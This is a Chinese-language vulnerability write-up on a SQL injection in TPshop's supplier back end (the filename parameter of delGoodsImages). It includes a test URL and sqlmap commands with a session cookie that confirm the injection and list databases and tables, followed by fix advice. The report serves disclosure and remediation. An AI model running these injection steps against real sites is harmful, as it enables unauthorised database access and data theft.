某Shop供应商后台SQL Injection(二)
字数 657 2025-08-26 22:11:28
TPshop供应商后台SQL注入漏洞分析报告
0x01 漏洞概述
TPshop(Thinkphp shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统。该系统在供应商后台存在SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。
0x02 漏洞定位
漏洞存在于TPshop系统的以下文件位置:
/Application/supplier/Controller/Goods.php
具体方法:
delGoodsImages()
0x03 漏洞代码分析
关键代码段:
- 第47行:从外部获取参数
filename的值赋给$path - 第48行:将
$path直接拼接到SQL语句的WHERE条件中,未进行任何过滤或参数化处理
这种直接拼接用户输入到SQL语句的做法导致了SQL注入漏洞。
0x04 漏洞验证
手动验证
访问以下URL测试注入点:
http://[目标地址]:8084/index.php/Supplier/goods/delGoodsImages/filename/1'
使用sqlmap自动化验证
- 初步检测:
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" \
--cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735" \
--random-agent --batch --dbms "mysql"
- 获取当前数据库:
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" \
--cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735" \
--random-agent --batch --dbms "mysql" --current-db
- 枚举数据库表:
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" \
--cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735" \
--random-agent --batch --dbms "mysql" -D tpshop3.0 --tables
0x05 漏洞修复建议
- 使用参数化查询或预处理语句
- 对用户输入进行严格的过滤和转义
- 使用框架提供的安全查询方法(如ThinkPHP的where方法)
- 最小权限原则:数据库连接使用最小必要权限
- 输入验证:对filename参数进行白名单验证
0x06 漏洞利用限制
- 需要有效的会话Cookie(PHPSESSID)
- 需要供应商后台权限(admin_type=1)
0x07 技术总结
该漏洞属于典型的SQL注入漏洞,由于开发者直接将用户可控的输入拼接到SQL语句中导致。攻击者可利用此漏洞获取数据库敏感信息,甚至进一步获取服务器权限。修复此类漏洞的关键在于正确处理用户输入与SQL语句的拼接问题。